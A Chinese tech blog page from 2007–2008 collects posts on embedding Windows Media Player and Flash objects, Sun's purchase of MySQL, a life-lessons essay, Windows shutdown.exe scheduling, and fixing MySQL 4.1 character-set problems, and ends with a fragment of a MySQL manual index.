<param name="ClickToPlay" value="0">
</object>



6.wma格式 放在 里面。下面是部分解释:

<object classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" id="MediaPlayer1" >
<param name="Filename" value="/blog/1.Wma"> <!--你文件的位置-->
<param name="PlayCount" value="1"><!--控制重复次数: “x”为几重复播放几次; x=0,无限循环。-->
<param name="AutoStart" value="0"><!--控制播放方式: x=1,打开网页自动播放; x=0,按播放键播放。-->
<param name="ClickToPlay" value="1"><!--控制播放开关: x=1,可鼠标点击控制播放或暂停状态; x=0,禁用此功能。-->
<param name="DisplaySize" value="0"><!--控制播放画面: x=0,原始大小; x=1,一半大小; x=2,2倍大小。-->
<param name="EnableFullScreen Controls" value="1"><!--控制切换全屏: x=1,允许切换为全屏; x=0,禁用此功能。-->
<param name="ShowAudio Controls" value="1"><!--控制音量: x=1,允许调节音量; x=0,禁止音量调节。-->
<param name="EnableContext Menu" value="1"><!--控制快捷菜单: x=1,允许使用右键菜单; x=0,禁用右键菜单。-->
<param name="ShowDisplay" value="1"><!--控制版权信息: x=1,显示电影及作者信息;x=0,不显示相关信息-->
</object>



7.Windows Media Player 系列(不同面板样式)综合型:

<object classid=clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95 codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=6,1,5,217"id=MediaPlayer type=application/x-oleobject width=210 height=340 standby="Loading Microsoft Windows Media Player components..." VIEWASTEXT align=MIDDLE>
<param name=AudioStream value=-1>
<param name=AutoSize value=0>
<param name=AutoStart value=1>
<param name=AnimationAtStart value=0>
<param name=AllowScan value=-1>
<param name=AllowChangeDisplaySize value=0>
<param name=AutoRewind value=0>
<param name=Balance value=0>
<param name=BaseURL value="">
<param name=BufferingTime value=5>
<param name=CaptioningID value="">
<param name=ClickToPlay value=0>
<param name=CursorType value=32512>
<param name=CurrentPosition value=-1>
<param name=CurrentMarker value=0>
<param name=DefaultFrame value=1>
<param name=DisplayBackColor value=0>
<param name=DisplayForeColor value=16777215>
<param name=DisplayMode value=0>
<param name=DisplaySize value=0>
<param name=Enabled value=-1>
<param name=EnableContextMenu value=-1>
<param name=EnablePositionControls value=0>
<param name=EnableFullScreenControls value=0>
<param name=EnableTracker value=1>
<param name=Filename value="http://flash.jninfo.net/swf/y1271.swf">
<param name=InvokeURLs value=-1>
<param name=Language value=-1>
<param name=Mute value=0>
<param name=PlayCount value=1>
<param name=PreviewMode value=0>
<param name=Rate value=1>
<param name=SAMILang value="">
<param name=SAMIStyle value="">
<param name=SAMIFileName value="">
<param name=SelectionStart value=0>
<param name=SelectionEnd value=true>
<param name=SendOpenStateChangeEvents value=-1>
<param name=SendWarningEvents value=-1>
<param name=SendErrorEvents value=-1>
<param name=SendKeyboardEvents value=0>
<param name=SendMouseClickEvents value=0>
<param name=SendMouseMoveEvents value=0>
<param name=SendPlayStateChangeEvents value=-1>
<param name=ShowCaptioning value=0>
<param name=ShowControls value=1>
<param name=ShowAudioControls value=1>
<param name=ShowDisplay value=1>
<param name=ShowGotoBar value=1>
<param name=ShowPositionControls value=1>
<param name=ShowStatusBar value=1>
<param name=ShowTracker value=1>
<param name=TransparentAtStart value=0>
<param name=VideoBorderWidth value=0>
<param name=VideoBorderColor value=0>
<param name=VideoBorder3D value=0>
<param name=Volume value=-1070>
<param name=WindowlessVideo value=1>
</object>



8 FLASH系列

<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0" width="266" height="240">
<param name="movie" value="http://user.net163.com/zjqz/mtv/fskl.swf">
<param name="quality" value="high">
<embed src="http://flash.jninfo.net/swf/y1271.swf" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="266" height="240"></embed></object>



简易型:

<EMBED src=http://vod.alibaba.com/50/06/71/71/50067171_56.asf style="HEIGHT: 45px; WIDTH: 190px" type=audio/mpeg AUTOSTART="1" loop="0">
</EMBED>



标签型:

<embed width=240 height=140 transparentatstart=true animationatstart=false autostart=true autosize=false volume=100 displaysize=0 showdisplay=true showstatusbar=true showcontrols=true showaudiocontrols=true showtracker=true showpositioncontrols=true balance=true src="http://vod.alibaba.com/50/06/71/71/50067171_56.asf">
</embed>



引用内容:媒体播放器的外观界面
在网页中,你可以通过相关属性来控制媒体播放器的哪些部分出现,哪些部分不出现。
媒体播放器包括如下元素:
Video Display Panel:视频显示面板;
Video Border:视频边框;
Closed Captioning Display Panel;字幕显示面板;
Track Bar;搜索栏;
Control Bar with Audio and Position Controls:带有声音和位置控制的控制栏;
Go To Bar:转到栏;
Display Panel:显示面板;
Status Bar:状态栏;
下面的属性用来决定显示哪一个元素:
ShowControls 属性:是否显示控制栏(包括播放控件及可选的声音和位置控件);
ShowAudioControls 属性:是否在控制栏显示声音控件(静音按钮和音量滑块);
ShowPositionControls 属性:是否在控制栏显示位置控件(包括向后跳进、快退、快进、向前跳进、预览播放列表中的每个剪辑);
ShowTracker 属性:是否显示搜索栏;
ShowDisplay 属性:是否显示显示面板(用来提供节目与剪辑的信息);
ShowCaptioning 属性:是否显示字幕显示面板;
ShowGotoBar 属性:是否显示转到栏;
ShowStatusBar 属性:是否显示状态栏;


□播放列表
媒体播放器提供下面的方法来访问播放列表中的剪辑:
Next 方法,跳到节目(播放列表)中的下一个剪辑;
Previous 方法,跳回到节目中的上一个剪辑;
媒体播放器的一个特性是能够预览节目中的每一个剪辑,使用如下属性:
PreviewMode 属性,决定媒体播放器当前是否处于预览模式;
CanPreview 属性,决定媒体播放器能否处于预览模式;
在windows 媒体元文件中,可以为每一个剪辑指定预览时间——PREVIEWDURATION,如果没有指定,那么默认的预览时间是10秒钟。
你也可以用Windows 媒体元文件来添加 watermarks 与 banners,元文件也支持插入广告时的无间隙流切换。



□节目信息
使用 GetMediaInfoString 方法可以返回相关剪辑或节目的如下信息:
文件名:File name
标题:Title
描述:Description
作者:Author
版权:Copyright
级别:Rating
URLs:logo icon、watermark、banner的地址
剪辑信息可以放在媒体文件中,也可以放在Windows 媒体元文件中,或者两者都放。如果在元文件中指定了剪辑信息,那么用 GetMediaInfoString 方法返回的就是元文件中的信息,而不会返回剪辑中包含的信息。
在元文件中,附加信息可以放置在每一个剪辑或节目的 PARAM标签中。你可以为每个剪辑添加任意多个 PARAM 标签,用来存储自定义的信息或链接到相关站点。在 PARAM 标签中的信息可以通过 GetMediaParameter 方法来访问。
下面的属性返回有关大小和时间的信息:
ImageSourceHeight、ImageSourceWidth:返回图像窗口的显示尺寸;
Duration 属性,返回剪辑的长度(秒), 要检测这个属性是否包含有效的数值,请检查IsDurationValid 属性。(对于广播的视频,其长度是不可预知的)。



□字幕
你可以用 .smi 文件来为你的节目添加字幕。媒体播放器支持下面的属性来处理字幕:
SAMIFileName 属性,指定 .smi 文件的名字;
SAMILang 属性,指定字幕的语言(如果没有指定则使用第一种语言);
SAMIStyle 属性,指定字幕的文字大小和样式;
ShowCaptioning 属性,决定是否显示字幕显示面板;



□脚本命令
伴随音频、视频流,你可以在流媒体文件中加入脚本命令。脚本命令是多媒体流中与特定时间同步的多对Unicode串。第一个串标识待发命令的类型,第二个串指定要执行的命令。
当流播放到与脚本相关的时间时,控件会向网页发送一个 ScriptCommand事件,然后由事件处理进程来响应这个事件。脚本命令字符串会作为脚本命令事件的参数传递给事件处理器。
媒体播放器会自动处理下面类型的内嵌脚本命令:
1)URL型命令:当媒体播放器控件收到一个URL型的命令时,指定的URL会被装载到用户的默认浏览器。如果媒体播放器嵌在一个分帧的HTML文件中,URL页可以装载到由脚本命令指定的帧内。如果脚本命令没有指定一个帧,将由 DefaultFrame 属性决定将 URL 页装入哪一帧。
你可以通过设置 InvokeURLs 属性来决定是否自动处理 URL 型的脚本命令。如果这个属性的值为 false ,媒体播放器控件将忽视 URL型命令。但是脚本命令事件仍会触发,这就允许你有选择地处理 URL 型命令。
URL 型命令指定的是 URL 的相对地址。基地址是由 BaseURL属性指定的。媒体播放器控件传送的脚本命令事件的命令参数是链接好的地址。
2)FILENAME型命令:当媒体播放器控件收到一个FILENAME型的命令时,它将 FileName属性设置为脚本命令提供的文件,之后媒体播放器会打开这个文件开始播放。 媒体播放器控件总是自动处理 FILENAME 型命令,不象 URL 型命令,它们不能被禁止。
3)TEXT型命令:当媒体播放器控件收到一个 TEXT型的命令时,它会将命令的内容显示在控件的字幕窗口。内容可以是纯文本的,也可以是 HTML。
4)EVENT型命令:当媒体播放器控件收到一个 EVENT型的命令时,它会在媒体元文件中搜索 EVENT 元素的 NAME 属性。如果 NAME 属性与脚本命令中的第二个字符串匹配,媒体播放器控件就执行包含在 EVENT 元素中的条目。
5)OPENEVENT型命令:当媒体播放器控件收到一个 OPENEVENT型的命令时,它会在媒体元文件中检查 EVENT 元素,并打开匹配的标题,但不播放,直到收到来自 EVENT型命令的同名真实事件。

□捕捉键盘和鼠标事件
EnableContextMenu 与 ClickToPlay 属性为用户提供了在图像窗口进行操作的方法。
如果 EnableContextMenu 属性为 true ,在图像窗口右击鼠标可以打开关联菜单,如果将ClickToPlay 属性设为 true ,用户可以单击图像窗口进行播放与暂停的切换。
要接收鼠标移动和单击事件,请将 SendMouseMoveEvents 和 SendMouseClickEvents 属性设为 true 。鼠标事件有:
MouseDown,当用户按下鼠标时产生;
MouseUp,当用户释放鼠标时产生;
MouseMove,当用户移动鼠标时产生;
Click,当用户在媒体播放器上单击鼠标按钮时产生;
DbClick,当用户在媒体播放器上双击鼠标按钮时产生;
要接收键盘事件,请将 SendKeyboardEvents 属性设为 true 。键盘事件有:
KeyDown,当用户按下一个键时产生;
KeyUp,当用户释放一个键时产生;
KeyPress,当用户按下并释放一个键时产生;



□监测流状态与网络链接
流状态属性包括:
PlayState:播放状态;
OpenState:打开状态;
Bandwidth:带宽;
支持的事件有:
OpenStateChange:打开状态改变(仅当SendOpenStateChangeEvents属性为true时触发)
PlayStateChange:播放状态改变(仅当SendPlayStateChangeEvents属性为true时触发)
EndOfStream:流结束时触发;
NewStream:打开新流时触发;
网络接收属性包括:
ReceptionQuality:接收质量;
ReceivedPackets:已经收到的包;
LostPackets:丢失的包;
监测缓冲的属性有:
BufferingTime:缓冲时间;
BufferingCount:缓冲次数;
BufferingProgress:缓冲进程;
Buffering:缓冲事件;



□错误处理
媒体播放器提供了内建的错误处理功能——在对话框或状态栏显示错误信息。 另外,你可以自己添加错误处理程序。如果 SendErrorEvents 属性设置为 true,将不会显示错误框,而是发送错误事件;如果 SendErrorEvents 属性设置为 false,将显示错误框,而是发送错误事件。
媒体播放器支持下面的错误处理事件:
Error 事件,指有危险性错误发生;
Warning 事件,指发生了非危险性的错误;
当你的应用程序接收到一个错误事件,你可以检测下面的属性来确定具体的错误信息:
HasError:检测目前的媒体播放器是否有错误;
ErrorCode:提供与该类型错误相关的代码值;
ErrorDescription:提供错误的描述信息;
ErrorCorrection:指定媒体播放器对该类型的错误进行校正;
posted @ 2008-01-19 19:41 jadmin 阅读(69) | 评论 (0)编辑 收藏
2008年1月16日这天,IT界最大的新闻是SUN 收购了MySQL.

Sun宣布已经与MySQL AB达成协议,以大约10亿美元收购MySQL AB,其中8亿美元现金收购MySQL AB的全部股权,另外的2亿美元作为期权。MySQL负责开发社区的副总裁 Kaj,在他的blog中分析了这单交易对于MySQL的用户、核心社区以及公司员工会带来哪些影响,还发表了他与MySQL的两位创始人Monty和David关于此事的交谈。这次收购使了Sun在IT企业中的地位进一步巩固,现在甚至包括了150亿美元的数据库市场,Sun不仅是一个领先的网络平台和环境的提供商,而且也是最大的开源商业贡献者。

SUN公司现已成为当今世界上产品经最为丰富的IT公司之一。软硬件统吃,从操作系统、到中件间、到数据库、再到应用软件。去年跟SUN中国工程院一位博士在聊天,他说SUN公司的产品线唯一就是缺少数据库。没想到时隔一年就把这个缺口给补上了。


现在很多用户关心的是MYSQL今后会怎么样?对于这个问题MYSQL的创始人给出了积极的态度:对于用户来说,MYSQL将会更加美好,MYSQL的开放理念与SUN公司的开放完全相同。MYSQL将会更加强大。
posted @ 2008-01-19 19:25 jadmin 阅读(59) | 评论 (0)编辑 收藏

有些道理总要等到适当的年纪才能明白,人生的哲理总是来得太迟。回想曾经让我们激动万分的事情,竟是如此微不足道,为什么当初就不能领悟?冤冤相报 何时了,这个道理谁都明白,可我们为什么还在沉溺于过去的痛苦无法自拔?如果你知道一个人能做的最大的冒险事情,就是乐意在公共场合经常暴露自己的愚昧。 你现在愿意这么做吗?-psytopic.com

许多人不遗余力地学习,遗憾的是真知往往来得太迟,以至于我们没法充分利用它。的确,我现有的知识在我早年的生活中肯定会更实用,这些知识能让我少走弯路,避免过去那些年受过的痛苦,而这些痛苦,我也让别人承受过。

我不相信生活会无故地变得富裕而有情趣,那只是浪漫的妄想。因为我一生都充满动荡和不安。失败不会主动传授你知识,我通过芸芸众生的无知、胆怯和愚 笨来获取真知。有了它们,生活会变得轻松,也更成功。因此,我要和大家分享一些姗姗来迟的道理,期待能让一些人避免重蹈我的覆辙。

很多事情其实无关紧要

许多令我激动、担忧或殚精竭虑的事情,到最后都变得不值一文。只有很少的事情确实关乎我们一生的快乐。我多么希望早点知道这些,以便能把精力都投入到这些关乎幸福的事,而不是其他。

沉溺于过去的痛苦是最大的痛苦来源

看那些恐怖组织和军事武装集团,往往都是为了陈年旧事,为了索取一小块土地的历史所有权,为了修正一项错误的历史决定。这些都成为了他们将杀戮正义化的基础。

等待有把握时再去做一件事,往往意味着永远的等待

一个人能做的最大的冒险事情,就是乐意在公共场合经常暴露自己的愚昧。没有什么能比这样学得更快。“哎呀”, 也是一种乐趣。

盲目追赶潮流是对精神和智力的扼杀

你可以成为一个廉价的时尚木偶,也可以成为独一无二的你,这些都在于自己的选择。信仰不是群众的鸦片,流行才是。

如果有人抱怨你太特立独行,恭喜你,你正走在正确的路上

谁愿意像动物一样活着?那些强有力的家伙们不希望你按照自己的意愿去做,他们希望你停止给他们制造麻烦并听从他们的命令。但你得知道,你无法做到在卑躬屈膝的同时又能活出自我。

如果你将工作等同于生活,那么你将为工作而生活

和很多人一样,当看到那些艺术家和音乐家的工作几乎是全部的生活,我感到很困惑。其实那不是工作,那是他们的自我。除非你有无法抵挡的激情,恰巧也 能让你从中得以谋生,否则请永远记住,工作只是一种手段,而不是目的,我们的最终目的是享受生活。在实现目的的同时,尽可能地少花时间在手段上。只有傻瓜 才是为工作而生活。

破坏关系的最快最简单的方法就是听信谣言

浪费你时间的最糟糕方式是传播这些谣言。传播流言蜚语的人好比瘟疫的携带者,相比之下,蟑螂都比他们干净、善良。

试图取悦别人是徒劳无益的做法

总有些人会对你发飙。很多你接触的人,在很多时候也会不喜欢、贬低、轻视或忽略你。另外,你永远也不知道别人真正的需要,因此你为此所做的所有努力 都会付诸东流。放松些吧,爱你的人终究会包容你的过失,他们才是值得我们在乎的人。其他那些人,他们甚至都不值得花5分钟去考虑。

没有永久的胜利者

踏上冠军宝座是件好事情。但不要梦想着可以永久占据这个位置,最糟糕的是,你正决定为达此目的而不择手段。

你不可能取悦、平息或改造一个混蛋

你能做的最好方式,是和他们敬而远之。变成混蛋也能传染,你和他们呆的时间越长,你也越有可能染上混蛋的习气或者你就成为混蛋。

努力加倍,期望减半

任何事情都是花掉你计划的两倍时间,最后却只换来你一半的期望结果。没什么好为此沮丧的,(中国俗话说:事倍功半)让它去吧,你要继续前行。

人是奇怪的偏执狂

撒谎者总是撒谎,骗子总要行骗。一个人对你倾诉的时候,通常已在其它人的面前倾诉过,只是可能没有得到想要回应。一位忠诚的朋友,无论遭受多大的冤屈依旧忠诚。

接纳自己

不管你怎么努力,你都无法逃避成为自己。除了自己,你还能成为谁呢?你可以扮演和假装,但进行扮演和假装的人还是你自己。如果你都无法接纳自己,没有努力挖掘自己已有的东西,那么谁有义务接纳你呢?

谈到公众谎言,没有比预算数字更令人震惊的

把时间折腾在这上面,是浪费时间。既使(奇迹中的奇迹!) 你是实事求是并且准确的, 其他人也不会那么愚蠢。

世界上最大的噪音是人们的抱怨

不要再增加了。



I don’t buy the romantic notion that my life has been somehow richer or more interesting because of all the times I screwed up; nor that the mistakes were “put” there to help me learn. I made them myself—through ignorance, fear, and a dumb wish to have everyone like me—and life and work would have been less stressful and more enjoyable (and certainly more successful) without them. So here are some of the things I wish I had learned long ago. I hope they may help a few of you avoid the mistakes that I made back then.

* Most of it doesn’t matter. So much of what I got excited about, anxious about, or wasted my time and energy on, turned out not to matter. There are only a few things that truly count for a happy life. I wish I had known to concentrate on those and ignore the rest.

* The greatest source of misery and hatred in this world is clinging to past hurts. Look at all the terrorists and militant groups that hark back to some event long gone, or base their justification for killing on claims of some supposed historical right to a bit of land, or redress for a wrong done hundreds of years ago.

* Waiting to do something until you can be sure of doing it exactly right means waiting for ever. One of the greatest advantages anyone can have is the willingness to make a fool of themselves publicly and often. There’s no better way to learn and develop. Heck, it’s fun too.

* Following the latest fashion, in work or in life, is spiritual and intellectual suicide. You can be a cheap imitation of the ideal of the moment; or you can be a unique individual. The choice is yours. Religion isn’t the opiate of the masses, fashion is.

* If people complain that you’re too fond of going your own way and aren’t fitting in, you must be on the right track. Who wants to live life as a herd animal? The guys in power don’t want you to fit in for your own sake; they want you to stop causing them problems and follow their orders. You can’t have the freedom to be yourself and meekly fit in at the same time.

* If you make your work your life, you’re making your life into hard work. Like most people, I confused myself by looking at people like artists and musicians whose life’s “work” fills their time. That isn’t work. It’s who they are. Unless you have some overwhelming passion that also happens to allow you to earn a living doing it, always remember that work should be a means to an end: living an enjoyable life. Spend as little time on the means as possible consistent with achieving the end. Only idiots live to work.

* The quickest and simplest way to wreck any relationship is to listen to gossip. The worst way to spend your time is spreading more. People who spread gossip are the plague-carriers of our day. Cockroaches are clean, kindly creatures in comparison.

* Trying to please other people is largely a futile activity. Everyone will be mad at you sometime. Most of the people you deal with will dislike, disparage, belittle, or ignore what you say or do most of the time. Besides, you can never really know what others do want, so a good deal of whatever you do in that regard will go to waste. Be comforted. Those who love you will probably love you regardless, and they are the ones whose opinions are worth caring about. The rest aren’t worth five minutes of thought between them.

* Every winner is destined to be a loser in due course. It’s great to be up on the winner’s podium. Just don’t imagine you can stay there for ever. Worst of all is being determined to do so, by any means available.

* You can rarely, if ever, please, placate, change, or mollify an asshole. The best thing you can do is stay away from every one you encounter. Being an asshole is a contagious disease. The more time you spend around one, the more likely you are to catch it and become one too.

* Everything takes twice as long as you plan for and produces results about half as good as you hoped. There’s no reason to be downhearted about this. Just allow for it and move on.

* People are oddly consistent. Liars usually tell lies. Cheaters cheat whenever it suits them. A person who confides in you has usually confided in several others first—but not got the response they wanted. A loyal friend will stay loyal under enormous amounts of thoughtless abuse.

* However hard you try, you can’t avoid being yourself. Who else could you be? You can act and pretend, but the person acting and pretending is still you. And if you won’t accept yourself—and do the best you can with what you have—who then has any obligation to accept you?

* When it comes to blatant lies, there are none more egregious than budget figures. Time spent agonizing over them is time wasted. Even if (miracle of miracles!) yours are honest and accurate, no one else will have been so foolish.

* The loudest noise in the world is the sound of people whining. Don’t add to it.

posted @ 2007-12-20 10:52 jadmin 阅读(48) | 评论 (0)编辑 收藏

如果你想出门,但电脑又正在进行工作,这时就要用到自动关机。大多数实现自动关机的方法都是使用一些第三方软件,这样不仅麻烦,而且为实现这个小功 能而专门动用一个软件,显的小题大做了!其实Windows XP(Windows 2000也可以)自身就具备定时关机的功能,下面我们就来看看如何实现Windows XP的自动关机。

    Windows XP的关机是由Shutdown.exe程序来控制的,位于Windows\System32文件夹中。如果想让Windows 2000也实现同样的效果,可以把Shutdown.exe复制到系统目录下。

    比如你的电脑要在22:00关机,可以选择“开始→运行”,输入“at 22:00 Shutdown -s”,这样,到了22点电脑就会出现“系统关机”对话框,默认有30秒钟的倒计时并提示你保存工作。如果你想以倒计时的方式关机,可以输入 “Shutdown.exe -s -t 3600”,这里表示60分钟后自动关机,“3600”代表60分钟。

    设置好自动关机后,如果想取消的话,可以在运行中输入“shutdown -a”。另外输入“shutdown -i”,则可以打开设置自动关机对话框,对自动关机进行设置。

    Shutdown.exe的参数,每个都具有特定的用途,执行每一个都会产生不同的效果,比如“-s”就表示关闭本地计算机,“-a”表示取消关机操作,下面列出了更多参数,大家可以在Shutdown.exe中按需使用。

-f:强行关闭应用程序

-m \\计算机名:控制远程计算机

-i:显示图形用户界面,但必须是Shutdown的第一个选项

-l:注销当前用户

-r:关机并重启

-t 时间:设置关机倒计时

-c "消息内容":输入关机对话框中的消息内容(不能超127个字符)

posted @ 2007-12-20 10:40 jadmin 阅读(39) | 评论 (0)编辑 收藏
最近discuz发布了新的版本,免费了,用的人更多了,以前使用其它论坛程序和discuz2.5/3.0的纷纷转换或升级到discuz4.0,可见discuz作为中国人开发的php论坛程序,确实是非常优秀的,在大家欣喜若狂的时候,也遇到了一些问题
  
  看到不少用户反映转换完以后是乱码的情况,出现这种现象的主要原因是这类用户使用的都是mysql4.1以上的版本.下面作一个说明,希望出现这个问题的朋友都能耐心的把这个文档看完!!!
  
  MySQL 4.1开始,对多语言的支持有了很大变化 (这导致了问题的出现)。尽管大部分的地方 (包括个人使用和主机提供商),MySQL 3、4.0 仍然占主导地位;但 MySQL 4.1 乃至5.0是 MySQL 官方推荐的数据库,已经有主机提供商开始提供并将会越来越多;因为 latin1 在许多地方 (下边会详细描述具体是哪些地方) 作为默认的字符集,成功的蒙蔽了许多 PHP 程序的开发者和用户,掩盖了在中文等语言环境下会出现的问题。
  
  MySQL 4.1开始把多国语言字符集分的更加详细,所以导致数据库迁移,或则dz论坛升级到4.0后(dz4.0开始使用gbk或utf-8编码)出现乱码问题。
  
  MySQL 4.1的字符集支持(Character Set Support)有两个方面:字符集(Character set)和排序方式(Collation)。对于字符集的支持细化到四个层次: 服务器(server),数据库(database),数据表(table)和连接(connection)。
  
  查看系统的字符集和排序方式的设定可以通过下面的两条命令:
  
QUOTE:
mysql> SHOW VARIABLES LIKE 'character_set_%';
  +--------------------------+----------------------------+
  | Variable_name | Value |
  +--------------------------+----------------------------+
  | character_set_client | latin1 |
  | character_set_connection | latin1 |
  | character_set_database | latin1 |
  | character_set_results | latin1 |
  | character_set_server | latin1 |
  | character_set_system | utf8 |
  | character_sets_dir | /usr/share/mysql/charsets/ |
  +--------------------------+----------------------------+
  7 rows in set (0.00 sec)
  
  mysql> SHOW VARIABLES LIKE 'collation_%';
  +----------------------+-------------------+
  | Variable_name | Value |
  +----------------------+-------------------+
  | collation_connection | latin1_swedish_ci |
  | collation_database | latin1_swedish_ci |
  | collation_server | latin1_swedish_ci |
  +----------------------+-------------------+
  3 rows in set (0.00 sec)

  MySQL 4.1 对于字符集的指定可以细化到一台机器上安装的 MySQL,其中的一个数据库,其中的一张表,其中的一栏,应该用什么字符集。但是,传统的 Web 程序在创建数据库和数据表时并没有使用那么复杂的配置,它们用的是默认的配置,那么,默认的配置从何而来呢?
  
  编译 MySQL 时,指定了一个默认的字符集,这个字符集是 latin1;
  安装 MySQL 时,可以在配置文件 (my.ini) 中指定一个默认的的字符集,如果没指定,这个值继承自编译时指定的;
  启动 mysqld 时,可以在命令行参数中指定一个默认的的字符集,如果没指定,这个值继承自配置文件中的;
  此时 character_set_server 被设定为这个默认的字符集;
  当创建一个新的数据库时,除非明确指定,这个数据库的字符集被缺省设定为 character_set_server;
  当选定了一个数据库时,character_set_database 被设定为这个数据库默认的字符集;
  在这个数据库里创建一张表时,表默认的字符集被设定为 character_set_database,也就是这个数据库默认的字符集;
  当在表内设置一栏时,除非明确指定,否则此栏缺省的字符集就是表默认的字符集;
  这个字符集就是数据库中实际存储数据采用的字符集,mysqldump 出来的内容就是这个字符集下的;
  当我们按照原来的方式通过PHP存取MySQL数据库时,就算设置了表的默认字符集为utf8并且通过UTF-8编码发送查询,你会发现存入数据库的仍然是乱码。问题就出在这个connection连接层上。
  想要进行“正确”的存储和得到“正确”的结果,最方便的是在所有query开始之前执行一下:
  
  SET NAMES 'gbk';
  其中gbk是数据库字符集。
  
  它相当于下面的三句指令:
  SET character_set_client = gbk;
  SET character_set_results = gbk;
  SET character_set_connection = gbk;
  
  4.1和5.0默认使用的是latin1字符集(木头:妈的,老外真霸道,妄想让全世界都是使用瑞典字符集吗)
  如果我们只想使用gbk字符集存储和获取数据,
  我们在编译mysql 4.1和 5.0的时候,需要注意在my.ini或者my.cnf中添加两处参数
  
CODE:
[mysqld]
  default-character-set=utf8

  
  
CODE:
#settings for clients (connection, results, clients)
  [mysql]
  default-character-set=utf8

  下面我们来说主题,如何转换数据库字符集
  两种方法,
  
QUOTE:
第一种----更改存储字符集
  主要的思想就是把数据库的字符集有latin1改为gbk,big5,或者utf8; 以下操作必须拥有主机权限。假设当前操作的数据库名为:database
  
  导出
  首先需要把数据导为mysql4.0的格式,具体的命令如下:
  mysqldump -uroot -p --default-character-set=latin1 --set-charset=gbk --skip-opt databse > d4.sql
  
  mysqldump的参数参照:
  MySql数据库备份mysqldump参数选项
  

  
  --default-characte-set 以前数据库的字符集,这个一般情况下都是latin1的,
  --set-charset 导出的数据的字符集,这个可以设置为gbk,utf8,或者big5
  导入
  首先使用下面语句新建一个GBK字符集的数据库(test)
  
  CREATE DATABASE `d4` DEFAULT CHARACTER SET gbk COLLATE gbk_chinese_ci;
  然后把刚才导出的数据导入到当前的数据库中就ok了。
  
  mysql -uroot -p --default-character-set=gbk -f d4 通过以上的导出和导入就把数据库的字符集改为正确的存储方式了。
  
  其中d4为新建库的名称,d4.sql为导出文件的名字
  
  但是这种方法,发现数据库数据存储量无端变大30%,真是郁闷

  
  
QUOTE:
另外一种其实原理相同,但是需要手动操作,一般用于第一种方法失败后的选择
  不过这种方法如果数据库很大,估计很难做,因为光打开文件就能让你死机
  
  首先还是用phpmyadmin或者用mysql本身的dump导出 .sql文件
  
  然后用UltraEdit打开你备份的所有xxxx.sql文件,查找
  
CODE:
DEFAULT CHARSET=latin1

  latin1这里也许是别的,反正是你不想要的,要转成gbk或者big5的字符集
  把这个替换为“空”
  在查找
  
CODE:
CREATE TABLE cdb_sessions (
  sid char(6) character set latin1 collate latin1_bin NOT NULL default '',
  ip1 tinyint(3) unsigned NOT NULL default '0',
  ip2 tinyint(3) unsigned NOT NULL default '0',
  ip3 tinyint(3) unsigned NOT NULL default '0',
  ip4 tinyint(3) unsigned NOT NULL default '0',
  uid mediumint(8) unsigned NOT NULL default '0',
  username char(15) NOT NULL default '',
  groupid smallint(6) unsigned NOT NULL default '0',
  styleid smallint(6) unsigned NOT NULL default '0',
  invisible tinyint(1) NOT NULL default '0',
  `action` tinyint(1) unsigned NOT NULL default '0',
  lastactivity int(10) unsigned NOT NULL default '0',
  fid smallint(6) unsigned NOT NULL default '0',
  tid mediumint(8) unsigned NOT NULL default '0',
  nickname char(15) NOT NULL default '',
  UNIQUE KEY sid (sid)
  ) ENGINE=HEAP MAX_ROWS=1000;

  替换为
  
CODE:
CREATE TABLE `cdb_sessions` (
  `sid` char(6) binary NOT NULL default '',
  `ip1` tinyint(3) unsigned NOT NULL default '0',
  `ip2` tinyint(3) unsigned NOT NULL default '0',
  `ip3` tinyint(3) unsigned NOT NULL default '0',
  `ip4` tinyint(3) unsigned NOT NULL default '0',
  `uid` mediumint(8) unsigned NOT NULL default '0',
  `username` char(15) NOT NULL default '',
  `groupid` smallint(6) unsigned NOT NULL default '0',
  `styleid` smallint(6) unsigned NOT NULL default '0',
  `invisible` tinyint(1) NOT NULL default '0',
  `action` tinyint(1) unsigned NOT NULL default '0',
  `lastactivity` int(10) unsigned NOT NULL default '0',
  `fid` smallint(6) unsigned NOT NULL default '0',
  `tid` mediumint(8) unsigned NOT NULL default '0',
  `nickname` char(15) NOT NULL default '',
  UNIQUE KEY `sid` (`sid`)
  ) TYPE=HEAP MAX_ROWS=2000;

  这一步更为简单的办法就是删除掉关于cdb_sessions表的这一段,将来全新装一个d4,将这个表导出
  将其内容复制,粘贴到 sql文件的最后面
  
  保存后,再把这个sql文件导入到你的库中
  
  就OK了

  用这两种方法就可以很方便的把4.1和5.0的mysql数据库降级到4.0
  简单的过程就是
  A导出4.1/5.0的库
  B进行处理,转换成gbk字符集
  C彻底卸载4.1或者5.0
  D安装4.0.26
  E然后导入处理完的库
  
  降级的时候导出库可以用这个方法
  mysqldump -uroot -p --default-character-set=latin1 --set-charset=gbk --skip-opt databse --compatible=mysql40 > d4.sql
  这样导出的就是4.0的库勒
  
  至于mysql版本的升级,
  如果数据文件中有中文信息,那么将MySQL 4.0的数据文件,直接拷贝到MySQL 4.1中就是不可以的,即便在my.ini中设置了default-character-set为正确的字符集。虽然貌似没有问题,但MySQL 4.1的字符集有一处非常恼人的地方,以gbk为例,原本MySQL 4.0数据中varchar,char等长度都会变为原来的一半,这样存储中文容量不变,而英文的存储容量就少了一半。这是直接拷贝数据文件带来的最大问题。
  
  所以,升级的根本,如果想使用“正确”的字符集,还是先用mysqldump导出成文件,然后导入。
  
  
  这里顺便提一个我的好友深海写的
  用于MySQL4.1的论坛数据库字符集整理工具。
  
  刚写的,处理部分代码可能写得有点龌龊,但是不影响使用,
  
  
  主要用于处理整理MySQL4.1指定数据库、表、字段的字符集。
  
  适用于将非允许的字符集范围内的数据结构(无数据!!)整理为适合Discuz!允许的字符集范围。
posted @ 2007-12-16 22:50 jadmin 阅读(43) | 评论 (0)编辑 收藏

1.the die is cast   一切已成定局

posted @ 2007-12-13 12:37 jadmin 阅读(48) | 评论 (0)编辑 收藏
  • ! (logical NOT)
  • != (not equal)
  • "
  • % (modulo)
  • % (wildcard character)
  • & (bitwise AND)
  • && (logical AND)
  • () (06-3)
  • (Control-Z) \z
  • * (multiplication)
  • + (addition)
  • - (subtraction)
  • - (unary minus)
  • / (division)
  • /etc/passwd
